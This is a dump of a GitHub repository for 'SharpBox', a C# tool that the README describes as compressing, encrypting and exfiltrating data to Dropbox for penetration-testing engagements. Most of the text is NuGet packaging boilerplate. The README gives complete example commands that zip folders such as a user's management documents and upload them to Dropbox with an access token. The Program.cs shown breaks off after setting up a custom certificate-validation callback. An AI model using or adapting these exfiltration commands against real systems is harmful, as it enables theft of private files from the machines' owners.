├── packages
├── Fody.2.1.2
│ ├── Fody.dll
│ ├── Fody.pdb
│ ├── Content
│ │ └── FodyWeavers.xml
│ ├── FodyCommon.dll
│ ├── FodyCommon.pdb
│ ├── Mono.Cecil.dll
│ ├── Fody.2.1.2.nupkg
│ ├── FodyIsolated.dll
│ ├── FodyIsolated.pdb
│ ├── Mono.Cecil.Mdb.dll
│ ├── Mono.Cecil.Pdb.dll
│ ├── Mono.Cecil.Rocks.dll
│ ├── Tools
│ │ └── install.ps1
│ └── build
│ │ ├── netstandard1.0
│ │ └── Fody.targets
│ │ └── portable-net+sl+win+wpa+wp
│ │ └── Fody.targets
├── Costura.Fody.1.6.2
│ ├── Costura.Fody.dll
│ ├── Costura.Fody.pdb
│ ├── Costura.Tasks.dll
│ ├── Costura.Tasks.pdb
│ ├── lib
│ │ ├── dotnet
│ │ │ ├── Costura.dll
│ │ │ └── Costura.pdb
│ │ └── portable-net+sl+win+wpa+wp
│ │ │ ├── Costura.dll
│ │ │ └── Costura.pdb
│ ├── Costura.Fody.1.6.2.nupkg
│ ├── build
│ │ ├── dotnet
│ │ │ └── Costura.Fody.targets
│ │ └── portable-net+sl+win+wpa+wp
│ │ │ └── Costura.Fody.targets
│ └── tools
│ │ ├── uninstall.ps1
│ │ └── install.ps1
├── DotNetZip.1.11.0
│ ├── DotNetZip.1.11.0.nupkg
│ └── lib
│ │ └── net20
│ │ └── DotNetZip.dll
└── CommandLineParser.1.9.71
│ ├── lib
│ ├── net35
│ │ ├── CommandLine.dll
│ │ └── CommandLine.xml
│ ├── net40
│ │ ├── CommandLine.dll
│ │ └── CommandLine.xml
│ └── net45
│ │ └── CommandLine.dll
│ ├── CommandLineParser.1.9.71.nupkg
│ └── readme.txt
├── SharpBox
├── FodyWeavers.xml
├── Properties
│ ├── Settings.settings
│ ├── Settings.Designer.cs
│ └── AssemblyInfo.cs
├── packages.config
├── SharpBox.csproj.user
├── SharpBox.csproj
└── Program.cs
├── SharpBox.sln
├── LICENSE
└── README.md
/packages/Fody.2.1.2/Fody.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Fody.2.1.2/Fody.dll
--------------------------------------------------------------------------------
/packages/Fody.2.1.2/Fody.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Fody.2.1.2/Fody.pdb
--------------------------------------------------------------------------------
/packages/Fody.2.1.2/Content/FodyWeavers.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/packages/Fody.2.1.2/FodyCommon.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Fody.2.1.2/FodyCommon.dll
--------------------------------------------------------------------------------
/packages/Fody.2.1.2/FodyCommon.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Fody.2.1.2/FodyCommon.pdb
--------------------------------------------------------------------------------
/packages/Fody.2.1.2/Mono.Cecil.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Fody.2.1.2/Mono.Cecil.dll
--------------------------------------------------------------------------------
/packages/Fody.2.1.2/Fody.2.1.2.nupkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Fody.2.1.2/Fody.2.1.2.nupkg
--------------------------------------------------------------------------------
/packages/Fody.2.1.2/FodyIsolated.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Fody.2.1.2/FodyIsolated.dll
--------------------------------------------------------------------------------
/packages/Fody.2.1.2/FodyIsolated.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Fody.2.1.2/FodyIsolated.pdb
--------------------------------------------------------------------------------
/packages/Fody.2.1.2/Mono.Cecil.Mdb.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Fody.2.1.2/Mono.Cecil.Mdb.dll
--------------------------------------------------------------------------------
/packages/Fody.2.1.2/Mono.Cecil.Pdb.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Fody.2.1.2/Mono.Cecil.Pdb.dll
--------------------------------------------------------------------------------
/packages/Fody.2.1.2/Mono.Cecil.Rocks.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Fody.2.1.2/Mono.Cecil.Rocks.dll
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/Costura.Fody.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Costura.Fody.1.6.2/Costura.Fody.dll
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/Costura.Fody.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Costura.Fody.1.6.2/Costura.Fody.pdb
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/Costura.Tasks.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Costura.Fody.1.6.2/Costura.Tasks.dll
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/Costura.Tasks.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Costura.Fody.1.6.2/Costura.Tasks.pdb
--------------------------------------------------------------------------------
/packages/DotNetZip.1.11.0/DotNetZip.1.11.0.nupkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/DotNetZip.1.11.0/DotNetZip.1.11.0.nupkg
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/lib/dotnet/Costura.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Costura.Fody.1.6.2/lib/dotnet/Costura.dll
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/lib/dotnet/Costura.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Costura.Fody.1.6.2/lib/dotnet/Costura.pdb
--------------------------------------------------------------------------------
/packages/DotNetZip.1.11.0/lib/net20/DotNetZip.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/DotNetZip.1.11.0/lib/net20/DotNetZip.dll
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/Costura.Fody.1.6.2.nupkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Costura.Fody.1.6.2/Costura.Fody.1.6.2.nupkg
--------------------------------------------------------------------------------
/packages/CommandLineParser.1.9.71/lib/net35/CommandLine.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/CommandLineParser.1.9.71/lib/net35/CommandLine.dll
--------------------------------------------------------------------------------
/packages/CommandLineParser.1.9.71/lib/net40/CommandLine.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/CommandLineParser.1.9.71/lib/net40/CommandLine.dll
--------------------------------------------------------------------------------
/packages/CommandLineParser.1.9.71/lib/net45/CommandLine.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/CommandLineParser.1.9.71/lib/net45/CommandLine.dll
--------------------------------------------------------------------------------
/packages/CommandLineParser.1.9.71/CommandLineParser.1.9.71.nupkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/CommandLineParser.1.9.71/CommandLineParser.1.9.71.nupkg
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/lib/portable-net+sl+win+wpa+wp/Costura.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Costura.Fody.1.6.2/lib/portable-net+sl+win+wpa+wp/Costura.dll
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/lib/portable-net+sl+win+wpa+wp/Costura.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Costura.Fody.1.6.2/lib/portable-net+sl+win+wpa+wp/Costura.pdb
--------------------------------------------------------------------------------
/SharpBox/FodyWeavers.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CommandLine
6 | DotNetZip
7 |
8 |
9 |
--------------------------------------------------------------------------------
/packages/Fody.2.1.2/Tools/install.ps1:
--------------------------------------------------------------------------------
1 | param($installPath, $toolsPath, $package, $project)
2 | $item = $project.ProjectItems | where-object {$_.Name -eq "FodyWeavers.xml"}
3 | $item.Properties.Item("BuildAction").Value = [int]0
--------------------------------------------------------------------------------
/SharpBox/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/SharpBox/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/SharpBox/SharpBox.csproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | publish\
5 |
6 |
7 |
8 |
9 |
10 | en-US
11 | false
12 | ShowAllFiles
13 |
14 |
--------------------------------------------------------------------------------
/SharpBox.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.27703.2035
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpBox", "SharpBox\SharpBox.csproj", "{616C1AFB-2944-42ED-9951-BF435CADB600}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {616C1AFB-2944-42ED-9951-BF435CADB600}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {616C1AFB-2944-42ED-9951-BF435CADB600}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {616C1AFB-2944-42ED-9951-BF435CADB600}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {616C1AFB-2944-42ED-9951-BF435CADB600}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {09CC2207-EAE6-4282-80D1-5F19BA361819}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/SharpBox/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace SharpBox.Properties {
12 |
13 |
14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.7.0.0")]
16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
17 |
18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
19 |
20 | public static Settings Default {
21 | get {
22 | return defaultInstance;
23 | }
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/build/dotnet/Costura.Fody.targets:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | $(MSBuildThisFileDirectory)..\..\
6 |
7 |
8 |
11 |
12 |
13 |
14 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/build/portable-net+sl+win+wpa+wp/Costura.Fody.targets:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | $(MSBuildThisFileDirectory)..\..\
6 |
7 |
8 |
11 |
12 |
13 |
14 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/tools/uninstall.ps1:
--------------------------------------------------------------------------------
1 | param($installPath, $toolsPath, $package, $project)
2 |
3 |
4 | function Update-FodyConfig($addinName, $project)
5 | {
6 | $fodyWeaversPath = [System.IO.Path]::Combine([System.IO.Path]::GetDirectoryName($project.FullName), "FodyWeavers.xml")
7 |
8 | if (!(Test-Path ($fodyWeaversPath)))
9 | {
10 | return
11 | }
12 |
13 | Write-Host "Caching variables for possible update"
14 | $env:FodyLastProjectPath = $project.FullName
15 | $env:FodyLastWeaverName = $addinName
16 | $env:FodyLastXmlContents = [IO.File]::ReadAllText($fodyWeaversPath)
17 |
18 |
19 | $xml = [xml](get-content $fodyWeaversPath)
20 |
21 | $weavers = $xml["Weavers"]
22 | $node = $weavers.SelectSingleNode($addinName)
23 |
24 | if ($node)
25 | {
26 | Write-Host "Removing node from FodyWeavers.xml"
27 | $weavers.RemoveChild($node)
28 | }
29 |
30 | $xml.Save($fodyWeaversPath)
31 | }
32 |
33 |
34 | function UnlockWeaversXml($project)
35 | {
36 | $fodyWeaversProjectItem = $project.ProjectItems.Item("FodyWeavers.xml");
37 | if ($fodyWeaversProjectItem)
38 | {
39 | $fodyWeaversProjectItem.Open("{7651A701-06E5-11D1-8EBD-00A0C90F26EA}")
40 | $fodyWeaversProjectItem.Save()
41 | $fodyWeaversProjectItem.Document.Close()
42 | }
43 | }
44 |
45 | UnlockWeaversXml($project)
46 |
47 | Update-FodyConfig $package.Id.Replace(".Fody", "") $project
--------------------------------------------------------------------------------
/SharpBox/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("SharpBox")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("SharpBox")]
13 | [assembly: AssemblyCopyright("Copyright © 2018")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("616c1afb-2944-42ed-9951-bf435cadb600")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2018, Shannon Lucas
4 | All rights reserved.
5 |
6 | Redistribution and use in source and binary forms, with or without
7 | modification, are permitted provided that the following conditions are met:
8 |
9 | * Redistributions of source code must retain the above copyright notice, this
10 | list of conditions and the following disclaimer.
11 |
12 | * Redistributions in binary form must reproduce the above copyright notice,
13 | this list of conditions and the following disclaimer in the documentation
14 | and/or other materials provided with the distribution.
15 |
16 | * Neither the name of the copyright holder nor the names of its
17 | contributors may be used to endorse or promote products derived from
18 | this software without specific prior written permission.
19 |
20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
30 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SharpBox
2 | SharpBox is a C# tool for compressing, encrypting, and exfiltrating data to Dropbox using the Dropbox API.
3 |
4 | ## Compiling
5 | Target Framework: NET3.5
6 |
7 | The libraries added via NuGet for this project were:
8 |
9 | - CommandLineParser.1.9.71
10 |
11 | - Costura.Fody.1.6.2
12 |
13 | - DotNetZip.1.11.0
14 |
15 | - Fody.2.1.2
16 |
17 |
18 | ## Usage
19 | Log into your Dropbox account and head over to the [Dropbox developer API explorer](https://dropbox.github.io/dropbox-api-v2-explorer/#auth_token/from_oauth1) page and get an oauth access token by clicking "Get Token".
20 | These access tokens do not expire, but you can revoke them. So I would recommend revoking tokens after being used on engagments.
21 |
22 | Example:
23 |
24 | ```
25 | SharpBox.exe -f "C:\Users\LegendaryJasonJF\Documents\management-docs" -t "DROPBOX-OATH-ACCESS-TOKEN-HERE" -o "C:\Users\Public\Archive.zip"
26 |
27 | SharpBox.exe -f "C:\Users\Meatball\Documents\rip-doc.txt" -t "DROPBOX-OATH-ACCESS-TOKEN-HERE" -o "C:Users\Meatball\Desktop\rip.zip"
28 | ```
29 |
30 | SharpBox can Zip a single file or folder of items. The compressed file is then encrypted with a randomly generated password and uploaded to Dropbox. The password is output to the console. Copy the password and use with the "password" argument when decrypting.
31 |
32 | ```
33 | SharpBox 1.1.0
34 | Copyright c 2021 Pickles
35 | Usage: SharpBox
36 |
37 | -f, --path Required. path to the file or folder you wish to
38 | compress the contents of
39 |
40 | -o, --OutFile Name of the compressed file
41 |
42 | -t, --dbxToken Dropbox Access Token
43 |
44 | -h, --dbxPath (Default: /test/data) path to dbx folder
45 |
46 | -d, --decrypt (Default: False) Choose this to decrypt a zip or
47 | cabbed file previously encrypted by this tool.
48 | Requires original password argument.
49 |
50 | -p, --decryption-password Password to decrypt a zipped or cabbed file.
51 |
52 | --help Display this help screen.
53 | ```
54 |
55 |
56 | Once the compressed/encrypted file is downloaded from Dropbox, you can use this tool to decrypt it as well.
57 |
58 | Example:
59 |
60 | ```
61 | SharpBox.exe -f "C:\Users\evilDude\Desktop\data" -o "C:\Users\evilDude\Desktop\decrypted-data.zip" -p "RandomlyGeneratedPassword" -d
62 | ```
63 |
64 | ## Acknowledgements
65 |
66 | - [@CptJesus](https://twitter.com/CptJesus) for letting me borrow the password gen snippet from [SharpHound](https://github.com/BloodHoundAD/SharpHound).
67 |
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/tools/install.ps1:
--------------------------------------------------------------------------------
1 | param($installPath, $toolsPath, $package, $project)
2 |
3 |
4 | function RemoveForceProjectLevelHack($project)
5 | {
6 | Write-Host "RemoveForceProjectLevelHack"
7 | Foreach ($item in $project.ProjectItems)
8 | {
9 | if ($item.Name -eq "Fody_ToBeDeleted.txt")
10 | {
11 | $item.Delete()
12 | }
13 | }
14 | }
15 |
16 | function FlushVariables()
17 | {
18 | Write-Host "Flushing environment variables"
19 | $env:FodyLastProjectPath = ""
20 | $env:FodyLastWeaverName = ""
21 | $env:FodyLastXmlContents = ""
22 | }
23 |
24 | function Update-FodyConfig($addinName, $project)
25 | {
26 | Write-Host "Update-FodyConfig"
27 | $fodyWeaversPath = [System.IO.Path]::Combine([System.IO.Path]::GetDirectoryName($project.FullName), "FodyWeavers.xml")
28 |
29 | $FodyLastProjectPath = $env:FodyLastProjectPath
30 | $FodyLastWeaverName = $env:FodyLastWeaverName
31 | $FodyLastXmlContents = $env:FodyLastXmlContents
32 |
33 | if (
34 | ($FodyLastProjectPath -eq $project.FullName) -and
35 | ($FodyLastWeaverName -eq $addinName))
36 | {
37 | Write-Host "Upgrade detected. Restoring content for $addinName"
38 | [System.IO.File]::WriteAllText($fodyWeaversPath, $FodyLastXmlContents)
39 | FlushVariables
40 | return
41 | }
42 |
43 | FlushVariables
44 |
45 | $xml = [xml](get-content $fodyWeaversPath)
46 |
47 | $weavers = $xml["Weavers"]
48 | $node = $weavers.SelectSingleNode($addinName)
49 |
50 | if (-not $node)
51 | {
52 | Write-Host "Appending node"
53 | $newNode = $xml.CreateElement($addinName)
54 | $weavers.AppendChild($newNode)
55 | }
56 |
57 | $xml.Save($fodyWeaversPath)
58 | }
59 |
60 | function Fix-ReferencesCopyLocal($package, $project)
61 | {
62 | Write-Host "Fix-ReferencesCopyLocal $($package.Id)"
63 | $asms = $package.AssemblyReferences | %{$_.Name}
64 |
65 | foreach ($reference in $project.Object.References)
66 | {
67 | if ($asms -contains $reference.Name + ".dll")
68 | {
69 | if($reference.CopyLocal -eq $true)
70 | {
71 | $reference.CopyLocal = $false;
72 | }
73 | }
74 | }
75 | }
76 |
77 | function UnlockWeaversXml($project)
78 | {
79 | $fodyWeaversProjectItem = $project.ProjectItems.Item("FodyWeavers.xml");
80 | if ($fodyWeaversProjectItem)
81 | {
82 | $fodyWeaversProjectItem.Open("{7651A701-06E5-11D1-8EBD-00A0C90F26EA}")
83 | $fodyWeaversProjectItem.Save()
84 | $fodyWeaversProjectItem.Document.Close()
85 | }
86 | }
87 |
88 | UnlockWeaversXml($project)
89 |
90 | RemoveForceProjectLevelHack $project
91 |
92 | Update-FodyConfig $package.Id.Replace(".Fody", "") $project
93 |
94 | Fix-ReferencesCopyLocal $package $project
--------------------------------------------------------------------------------
/packages/CommandLineParser.1.9.71/readme.txt:
--------------------------------------------------------------------------------
1 | Command Line Parser Library 1.9.71.2 stable
2 | ------------------------------------------
3 | Giacomo Stelluti Scala
4 | (gsscoder@gmail.com)
5 |
6 | GitHub (Latest Sources, Updated Docs): https://github.com/gsscoder/commandline
7 | Codeplex (Binary Downloads): http://commandline.codeplex.com/
8 |
9 | Remarks:
10 | - IParser and IParserSettings interface were removed.
11 |
12 | Upgrading from < 1.9.6.1 rc1:
13 | -----------------------------
14 | Now CommandLine.Parser is defiend as:
15 | interface CommandLine.Parser {
16 | bool ParseArguments(string[] args, object options);
17 | bool ParseArguments(string[] args, object options, Action onVerbCommand);
18 | bool ParseArgumentsStrict(string[] args, object options, Action onFail = null);
19 | bool ParseArgumentsStrict(string[] args, object options, Action onVerbCommand, Action onFail = null);
20 | }
21 | Please refer to wiki (https://github.com/gsscoder/commandline/wiki).
22 | For help screen in verb command scenario use new HelpText::AutoBuild(object,string).
23 |
24 | Upgrading from < 1.9.4.91 versions:
25 | -----------------------------------
26 | - Use System.Char for short name:
27 | [Option('o', "my-option", DefaultValue=10, HelpText="This is an option!")]
28 | public int MyOption { get; set; }
29 | - Receive parsing errors without CommandLineOptionsBase (removed):
30 | public class Options {
31 | [ParserState]
32 | public IParserState LastParserState { get; set; }
33 | }
34 | - Types rename:
35 | MultiLineTextAttribute -> MultilineTextAttribute (first 'L' -> lowercase)
36 | CommandLineParser -> Parser (suggestion: qualify with namespace -> CommandLine.Parser).
37 | ICommandLineParser -> IParser
38 | CommandLineParserSettings -> ParserSettings
39 | CommandLineParserException -> ParserException
40 |
41 | Upgrading from 1.8.* versions:
42 | ------------------------------
43 | The major API change is that all attributes that inherits from BaseOptionAttribute now
44 | apply only to properties. Fields are no longer supported.
45 |
46 | Old Code:
47 | ---------
48 | class Options {
49 | [Option("o", "my-option", HelpText="This is an option!")]
50 | public int MyOption = 10;
51 | }
52 |
53 | New Code:
54 | ---------
55 | class Options {
56 | [Option("o", "my-option", DefaultValue=10, HelpText="This is an option!")]
57 | public int MyOption { get; set; }
58 | }
59 |
60 | As you can see I've added the new DefaultValue property to help you initialize properties.
61 |
62 | Shortcut for Help Screen
63 | ------------------------
64 | [HelpOption]
65 | public string GetUsage()
66 | {
67 | return HelpText.AutoBuild(this,
68 | (HelpText current) => HelpText.DefaultParsingErrorsHandler(this, current));
69 | }
70 |
71 | Note:
72 | -----
73 | If you don't use mutually exclusive options, now there's a singleton built for common uses:
74 |
75 | if (CommandLineParser.Default.ParseArguments(args, options)) {
76 | // consume values here
77 | }
78 |
79 | Have fun!
80 |
--------------------------------------------------------------------------------
/packages/Fody.2.1.2/build/netstandard1.0/Fody.targets:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | $(NCrunchOriginalSolutionDir)
7 |
8 |
9 |
10 |
11 | $(SolutionDir)
12 |
13 |
14 |
15 |
16 | $(MSBuildProjectDirectory)..\..\..\
17 |
18 |
19 |
20 |
21 |
22 |
23 | $(KeyOriginatorFile)
24 |
25 |
26 |
27 |
28 | $(AssemblyOriginatorKeyFile)
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 | $(ProjectDir)FodyWeavers.xml
39 | $(SignAssembly)
40 | $(MSBuildThisFileDirectory)..\..\
41 |
42 |
45 |
52 |
53 |
68 |
69 |
72 |
73 |
74 |
75 | True
76 |
77 |
78 |
79 |
80 |
81 |
84 |
88 |
89 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
--------------------------------------------------------------------------------
/packages/Fody.2.1.2/build/portable-net+sl+win+wpa+wp/Fody.targets:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | $(NCrunchOriginalSolutionDir)
7 |
8 |
9 |
10 |
11 | $(SolutionDir)
12 |
13 |
14 |
15 |
16 | $(MSBuildProjectDirectory)..\..\..\
17 |
18 |
19 |
20 |
21 |
22 |
23 | $(KeyOriginatorFile)
24 |
25 |
26 |
27 |
28 | $(AssemblyOriginatorKeyFile)
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 | $(ProjectDir)FodyWeavers.xml
39 | $(SignAssembly)
40 | $(MSBuildThisFileDirectory)..\..\
41 |
42 |
45 |
52 |
53 |
68 |
69 |
72 |
73 |
74 |
75 | True
76 |
77 |
78 |
79 |
80 |
81 |
84 |
88 |
89 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
--------------------------------------------------------------------------------
/SharpBox/SharpBox.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {616C1AFB-2944-42ED-9951-BF435CADB600}
8 | Exe
9 | SharpBox
10 | SharpBox
11 | v3.5
12 | 512
13 |
14 |
15 | publish\
16 | true
17 | Disk
18 | false
19 | Foreground
20 | 7
21 | Days
22 | false
23 | false
24 | true
25 | 0
26 | 1.0.0.%2a
27 | false
28 | false
29 | true
30 |
31 |
32 | AnyCPU
33 | true
34 | full
35 | false
36 | bin\Debug\
37 | DEBUG;TRACE
38 | prompt
39 | 4
40 |
41 |
42 | AnyCPU
43 | pdbonly
44 | true
45 | bin\Release\
46 | TRACE
47 | prompt
48 | 4
49 |
50 |
51 | SharpBox.Program
52 |
53 |
54 |
55 | ..\packages\CommandLineParser.1.9.71\lib\net35\CommandLine.dll
56 |
57 |
58 | ..\packages\Costura.Fody.1.6.2\lib\portable-net+sl+win+wpa+wp\Costura.dll
59 | False
60 |
61 |
62 | ..\packages\DotNetZip.1.11.0\lib\net20\DotNetZip.dll
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | True
76 | True
77 | Settings.settings
78 |
79 |
80 |
81 |
82 |
83 | SettingsSingleFileGenerator
84 | Settings.Designer.cs
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 | False
93 | .NET Framework 3.5 SP1
94 | true
95 |
96 |
97 |
98 |
99 |
100 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.
101 |
102 |
103 |
104 |
105 |
106 |
107 |
--------------------------------------------------------------------------------
/SharpBox/Program.cs:
--------------------------------------------------------------------------------
1 |
2 | using Ionic.Zip;
3 | using System;
4 | using System.IO;
5 | using System.Text;
6 | using System.Security.Cryptography;
7 | using System.Net;
8 | using System.Threading;
9 | using System.Security.Cryptography.X509Certificates;
10 | using System.Net.Security;
11 | using CommandLine;
12 | using CommandLine.Text;
13 |
14 | namespace SharpBox
15 | {
16 | public class Program
17 | {
18 | public static void Main(string[] args)
19 | {
20 | Options ops = new Options();
21 | CommandLine.Parser.Default.ParseArguments(args, ops);
22 | ServicePointManager.ServerCertificateValidationCallback += ValidateRemoteCertificate;
23 | ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls;
